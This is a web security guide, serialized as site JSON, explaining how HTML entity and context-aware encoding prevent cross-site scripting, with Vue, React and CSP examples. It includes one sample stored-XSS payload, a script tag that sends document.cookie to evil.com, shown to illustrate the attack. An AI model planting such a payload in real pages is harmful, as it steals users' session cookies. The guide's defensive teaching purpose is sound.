[{"data":1,"prerenderedAt":500},["ShallowReactive",2],{"guide-html-encode-prevent-xss":3},{"id":4,"title":5,"body":6,"date":492,"description":493,"extension":494,"meta":495,"navigation":361,"path":496,"readingTime":371,"seo":497,"stem":498,"__hash__":499},"guides\u002Fguides\u002Fhtml-encode-prevent-xss.md","HTML Encoding to Prevent XSS",{"type":7,"value":8,"toc":486},"minimark",[9,13,18,40,43,126,133,136,140,143,236,239,257,273,282,304,308,311,321,399,405,453,456,463,467,470,473,482],[10,11,12],"p",{},"Cross-site scripting (XSS) remains one of the most prevalent web application vulnerabilities, consistently appearing in the OWASP Top 10. At its core, XSS exploits a browser's trust in the content it receives. When a web application inserts user-supplied data into an HTML document without encoding it first, an attacker can inject malicious scripts that execute in the context of other users' sessions. HTML entity encoding is the primary defense mechanism against this class of attacks.",[14,15,17],"h2",{"id":16},"how-xss-exploits-unencoded-output","How XSS Exploits Unencoded Output",[10,19,20,21,25,26,25,29,25,32,35,36,39],{},"When a browser parses an HTML document, it distinguishes between markup and text based on special characters. The characters ",[22,23,24],"code",{},"\u003C",", ",[22,27,28],{},">",[22,30,31],{},"\"",[22,33,34],{},"'",", and ",[22,37,38],{},"&"," carry structural meaning in HTML. If user input containing these characters is inserted into a page without transformation, the browser interprets them as markup rather than display text.",[10,41,42],{},"Consider a comment system that renders user input directly:",[44,45,50],"pre",{"className":46,"code":47,"language":48,"meta":49,"style":49},"language-html shiki shiki-themes github-light github-dark","\u003Cdiv class=\"comment\">\n  \u003Cp>User says: \u003Cscript>document.location='https:\u002F\u002Fevil.com\u002Fsteal?c='+document.cookie\u003C\u002Fscript>\u003C\u002Fp>\n\u003C\u002Fdiv>\n","html","",[22,51,52,78,116],{"__ignoreMap":49},[53,54,57,60,64,68,71,75],"span",{"class":55,"line":56},"line",1,[53,58,24],{"class":59},"sVt8B",[53,61,63],{"class":62},"s9eBZ","div",[53,65,67],{"class":66},"sScJk"," class",[53,69,70],{"class":59},"=",[53,72,74],{"class":73},"sZZnC","\"comment\"",[53,76,77],{"class":59},">\n",[53,79,81,84,86,89,92,95,98,101,104,107,109,112,114],{"class":55,"line":80},2,[53,82,83],{"class":59},"  \u003C",[53,85,10],{"class":62},[53,87,88],{"class":59},">User says: \u003C",[53,90,91],{"class":62},"script",[53,93,94],{"class":59},">document.location",[53,96,70],{"class":97},"szBVR",[53,99,100],{"class":73},"'https:\u002F\u002Fevil.com\u002Fsteal?c='",[53,102,103],{"class":97},"+",[53,105,106],{"class":59},"document.cookie\u003C\u002F",[53,108,91],{"class":62},[53,110,111],{"class":59},">\u003C\u002F",[53,113,10],{"class":62},[53,115,77],{"class":59},[53,117,119,122,124],{"class":55,"line":118},3,[53,120,121],{"class":59},"\u003C\u002F",[53,123,63],{"class":62},[53,125,77],{"class":59},[10,127,128,129,132],{},"Without encoding, the browser executes the ",[22,130,131],{},"\u003Cscript>"," tag, sending the victim's cookies to the attacker. This is a classic reflected or stored XSS attack, depending on whether the malicious input is echoed immediately or persisted in a database.",[10,134,135],{},"The attack becomes possible because the application failed to communicate to the browser that the injected content should be treated as text, not as executable markup.",[14,137,139],{"id":138},"context-aware-encoding","Context-Aware Encoding",[10,141,142],{},"HTML entity encoding replaces dangerous characters with their entity equivalents. The browser renders these entities as visible text without interpreting them as code:",[144,145,146,162],"table",{},[147,148,149],"thead",{},[150,151,152,156,159],"tr",{},[153,154,155],"th",{},"Character",[153,157,158],{},"Entity",[153,160,161],{},"Purpose",[163,164,165,180,194,208,222],"tbody",{},[150,166,167,172,177],{},[168,169,170],"td",{},[22,171,24],{},[168,173,174],{},[22,175,176],{},"&lt;",[168,178,179],{},"Prevents tag injection",[150,181,182,186,191],{},[168,183,184],{},[22,185,28],{},[168,187,188],{},[22,189,190],{},"&gt;",[168,192,193],{},"Closes potential tags",[150,195,196,200,205],{},[168,197,198],{},[22,199,31],{},[168,201,202],{},[22,203,204],{},"&quot;",[168,206,207],{},"Prevents attribute breakout",[150,209,210,214,219],{},[168,211,212],{},[22,213,34],{},[168,215,216],{},[22,217,218],{},"&#39;",[168,220,221],{},"Prevents single-quoted attribute breakout",[150,223,224,228,233],{},[168,225,226],{},[22,227,38],{},[168,229,230],{},[22,231,232],{},"&amp;",[168,234,235],{},"Prevents entity injection",[10,237,238],{},"However, encoding must match the output context. Encoding rules differ depending on where the user data appears within the HTML document.",[10,240,241,245,246,249,250,25,252,35,254,256],{},[242,243,244],"strong",{},"HTML body context."," When user data is placed between tags (",[22,247,248],{},"\u003Cdiv>USER DATA\u003C\u002Fdiv>","), encoding ",[22,251,24],{},[22,253,28],{},[22,255,38],{}," is sufficient. The browser will never interpret the content as a tag or entity.",[10,258,259,262,263,266,267,269,270,272],{},[242,260,261],{},"HTML attribute context."," When user data is placed inside an attribute value (",[22,264,265],{},"\u003Cinput value=\"USER DATA\">","), you must also encode the quote character that delimits the attribute. If the attribute is double-quoted, encode ",[22,268,31],{},". If single-quoted, encode ",[22,271,34],{},". Unquoted attributes are inherently unsafe and should never contain user data.",[10,274,275,278,279,281],{},[242,276,277],{},"JavaScript context."," When user data is inserted into a ",[22,280,131],{}," block, HTML entity encoding provides no protection. The JavaScript parser runs before entity decoding. You must use JavaScript string escaping (backslash-encoding quotes, newlines, and carriage returns) plus HTML encoding for the surrounding context.",[10,283,284,287,288,291,292,295,296,299,300,303],{},[242,285,286],{},"URL context."," When user data appears in ",[22,289,290],{},"href"," or ",[22,293,294],{},"src"," attributes, apply URL encoding (",[22,297,298],{},"encodeURIComponent",") before HTML attribute encoding. This prevents ",[22,301,302],{},"javascript:"," URI injection.",[14,305,307],{"id":306},"implementing-encoding-in-practice","Implementing Encoding in Practice",[10,309,310],{},"Most modern frameworks handle output encoding automatically when you use their templating systems correctly.",[10,312,313,316,317,320],{},[242,314,315],{},"Vue"," interpolates data using ",[22,318,319],{},"{{ }}"," syntax, which automatically HTML-encodes the output:",[44,322,326],{"className":323,"code":324,"language":325,"meta":49,"style":49},"language-vue shiki shiki-themes github-light github-dark","\u003Ctemplate>\n  \u003C!-- Safe: Vue auto-encodes -->\n  \u003Cdiv>{{ userComment }}\u003C\u002Fdiv>\n\n  \u003C!-- Dangerous: raw HTML, no encoding -->\n  \u003Cdiv v-html=\"userComment\">\u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n","vue",[22,327,328,337,343,356,363,369,390],{"__ignoreMap":49},[53,329,330,332,335],{"class":55,"line":56},[53,331,24],{"class":59},[53,333,334],{"class":62},"template",[53,336,77],{"class":59},[53,338,339],{"class":55,"line":80},[53,340,342],{"class":341},"sJ8bj","  \u003C!-- Safe: Vue auto-encodes -->\n",[53,344,345,347,349,352,354],{"class":55,"line":118},[53,346,83],{"class":59},[53,348,63],{"class":62},[53,350,351],{"class":59},">{{ userComment }}\u003C\u002F",[53,353,63],{"class":62},[53,355,77],{"class":59},[53,357,359],{"class":55,"line":358},4,[53,360,362],{"emptyLinePlaceholder":361},true,"\n",[53,364,366],{"class":55,"line":365},5,[53,367,368],{"class":341},"  \u003C!-- Dangerous: raw HTML, no encoding -->\n",[53,370,372,374,376,379,381,384,386,388],{"class":55,"line":371},6,[53,373,83],{"class":59},[53,375,63],{"class":62},[53,377,378],{"class":66}," v-html",[53,380,70],{"class":59},[53,382,383],{"class":73},"\"userComment\"",[53,385,111],{"class":59},[53,387,63],{"class":62},[53,389,77],{"class":59},[53,391,393,395,397],{"class":55,"line":392},7,[53,394,121],{"class":59},[53,396,334],{"class":62},[53,398,77],{"class":59},[10,400,401,404],{},[242,402,403],{},"React"," similarly encodes content rendered via JSX expressions:",[44,406,410],{"className":407,"code":408,"language":409,"meta":49,"style":49},"language-jsx shiki shiki-themes github-light github-dark","\u002F\u002F Safe: React auto-encodes\n\u003Cdiv>{userComment}\u003C\u002Fdiv>\n\n\u002F\u002F Dangerous: bypasses encoding\n\u003Cdiv dangerouslySetInnerHTML={{ __html: userComment }} \u002F>\n","jsx",[22,411,412,417,430,434,439],{"__ignoreMap":49},[53,413,414],{"class":55,"line":56},[53,415,416],{"class":341},"\u002F\u002F Safe: React auto-encodes\n",[53,418,419,421,423,426,428],{"class":55,"line":80},[53,420,24],{"class":59},[53,422,63],{"class":62},[53,424,425],{"class":59},">{userComment}\u003C\u002F",[53,427,63],{"class":62},[53,429,77],{"class":59},[53,431,432],{"class":55,"line":118},[53,433,362],{"emptyLinePlaceholder":361},[53,435,436],{"class":55,"line":358},[53,437,438],{"class":341},"\u002F\u002F Dangerous: bypasses encoding\n",[53,440,441,443,445,448,450],{"class":55,"line":365},[53,442,24],{"class":59},[53,444,63],{"class":62},[53,446,447],{"class":66}," dangerouslySetInnerHTML",[53,449,70],{"class":97},[53,451,452],{"class":59},"{{ __html: userComment }} \u002F>\n",[10,454,455],{},"When you must render raw HTML, sanitize the input first with a library like DOMPurify, which strips dangerous elements and attributes while preserving safe markup.",[10,457,458,459,462],{},"For server-rendered applications, encode data before inserting it into templates. Most template engines provide context-aware encoding functions. In Go's ",[22,460,461],{},"html\u002Ftemplate",", for example, the engine automatically applies different encoding rules based on the context—HTML body, attribute, JavaScript, or URL.",[14,464,466],{"id":465},"encoding-is-necessary-but-not-sufficient","Encoding Is Necessary but Not Sufficient",[10,468,469],{},"HTML encoding is a critical defense layer but does not address every XSS vector. Content Security Policy (CSP) adds a second layer by restricting which scripts the browser may execute. Input validation and sanitization reduce the attack surface before data reaches the output layer.",[10,471,472],{},"The most robust approach combines these defenses: validate input on the server, encode output contextually, and deploy CSP as a safety net for encoding failures. No single measure eliminates XSS entirely, but each successive layer dramatically reduces the probability of a successful exploit.",[10,474,475,476,481],{},"If you need to encode HTML entities quickly, try the ",[477,478,480],"a",{"href":479},"\u002Ftools\u002Fhtml-encoder","HTML Encoder tool"," to convert text containing special characters into safe entity-encoded output.",[483,484,485],"style",{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":49,"searchDepth":80,"depth":80,"links":487},[488,489,490,491],{"id":16,"depth":80,"text":17},{"id":138,"depth":80,"text":139},{"id":306,"depth":80,"text":307},{"id":465,"depth":80,"text":466},"2026-05-28","How proper HTML entity encoding stops cross-site scripting attacks in user-generated content.","md",{},"\u002Fguides\u002Fhtml-encode-prevent-xss",{"title":5,"description":493},"guides\u002Fhtml-encode-prevent-xss","kunzr2M7qxjY-L03pDsMrWnPzOnCaqKUd5qVQegS8rM",1780401334212]